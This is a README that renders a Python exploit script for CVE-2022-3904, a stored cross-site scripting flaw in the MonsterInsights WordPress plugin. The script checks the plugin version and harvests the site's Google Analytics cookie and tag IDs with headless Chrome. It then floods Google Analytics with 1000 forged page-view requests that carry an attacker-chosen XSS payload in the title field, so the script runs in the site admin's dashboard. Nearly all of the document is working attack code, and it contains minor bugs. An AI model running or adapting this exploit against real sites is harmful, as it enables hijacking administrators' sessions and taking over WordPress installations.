README.md
Rendering markdown...
#!/usr/bin/env python3
#
# Vulnerability: CVE-2022-3904 MonsterInsights < 8.9.1 - Stored Cross-Site Scripting via Google Analytics
#
# Vuln Version Download: https://downloads.wordpress.org/plugin/google-analytics-for-wordpress.8.8.2.zip
#
# By Random Robbie
#
#
import time
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import re
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import urllib.parse
import argparse
session = requests.Session()
options = Options()
options.add_argument('--headless=new')
options.add_argument('--disable-extensions')
options.add_argument('--disable-gpu')
options.add_argument('--no-sandbox')
driver = webdriver.Chrome(options=options)
def version_check(url):
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
plugin_url = ""+url+"/wp-content/plugins/google-analytics-for-wordpress/readme.txt"
response = requests.get(plugin_url, headers=headers,verify=False,timeout=30)
if response.status_code == 200:
content = response.text
version_line = next((line for line in content.split('\n') if line.startswith('Stable tag:')), None)
if version_line:
version = version_line.split(':')[1].strip()
if version >= '8.9.1':
print("The plugin version is 8.9.1 or above.")
exit()
else:
print("The plugin version is below 8.9.1.")
print("The plugin version is "+version+"")
return version
else:
print("Failed to find the version information in the readme.txt file.")
exit()
else:
print("Plugin not installed")
exit()
def get_tid1(body):
# Use regex to extract the ID from the script tag
id_pattern = re.compile(r'id=(G-\w+)')
match = id_pattern.search(body)
# Check if a match was found
if match:
# Print the Google Tag Manager ID
gtm_id = match.group(1)
return gtm_id
else:
return None
def get_tid2(gtm_id):
paramsGet = {"id":"GTM-"+gtm_id+""}
headers = {"Te":"trailers","Accept":"*/*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/114.0","Referer":url,"Sec-Fetch-Dest":"script","Sec-Fetch-Site":"cross-site","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","Sec-Fetch-Mode":"no-cors"}
response = session.get("https://www.googletagmanager.com/gtm.js", params=paramsGet, headers=headers)
match = re.search('vtp_measurementId":"(\w+)', response.text)
if match:
tid_id = match.group(1)
return tid_id
else:
raise ValueError('No tid ID found in response')
def smash_it(gtm_id,url,tid,sid,payload,cookie_id):
for i in range(1000):
paramsGet = {"gtm":gtm_id,"sct":"3","dl":""+url+"/?s=iamnothere","en":"page_view","tid":tid,"sid":sid,"dt":payload,"_p":"1228323007","_s":i,"seg":"0","v":"2","ul":"en-us","ngs":"1","_ss":"1","cid":cookie_id,"sr":"3840x1080"}
headers = {"Origin":url,"Te":"trailers","Accept":"*/*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/114.0","Referer":url,"Sec-Fetch-Dest":"empty","Sec-Fetch-Site":"cross-site","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","Sec-Fetch-Mode":"no-cors"}
response = session.post("https://region1.google-analytics.com/g/collect", params=paramsGet, headers=headers)
if response.status_code == 204:
print("Request sent with payload - request number "+str(i)+"")
print("Requests all sent it can take over 24 hours for the admin to be exploited.")
def get_gtm(body):
match = re.search(r'GTM-(\w+)', body)
if match:
gtm_id = match.group(1)
return gtm_id
else:
gtm_id = "45je37a0"
return gtm_id
def get_cookie_id(cookies):
try:
for cookie in cookies:
if cookie["name"] == "_ga":
cookie_id = cookie["value"]
cookie_id = cookie_id.replace("GA1.","")
return cookie_id
except:
print("Unable to obtain the _ga cookies Value")
exit()
def get_cookie_sid(cookie_id):
try:
sid = cookie_id.split(".")
sid_value = sid[1]
except IndexError:
print("Unable to obtain the cookie_sid cookies Value")
return Non
return sid_value
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True, default="http://wordpress.lan",help="URL of wordpress site to exploit")
parser.add_argument("-p", "--payload", required=True, default="<img src=x onerror=alert(document.domain)>",help="Payload to Execute ensure it's an xss")
args = parser.parse_args()
url = args.url
payload = args.payload
encoded_payload = urllib.parse.quote(payload)
version_check(url)
driver.get(""+url+"/testinghere/")
time.sleep(5)
cookies = driver.get_cookies()
cookie_id = get_cookie_id(cookies)
sid = get_cookie_sid(cookie_id)
gtm_id = get_gtm(driver.page_source)
tid = get_tid1(driver.page_source)
if tid == None:
tid = get_tid2(gtm_id)
driver.quit()
smash_it(gtm_id,url,tid,sid,payload,cookie_id)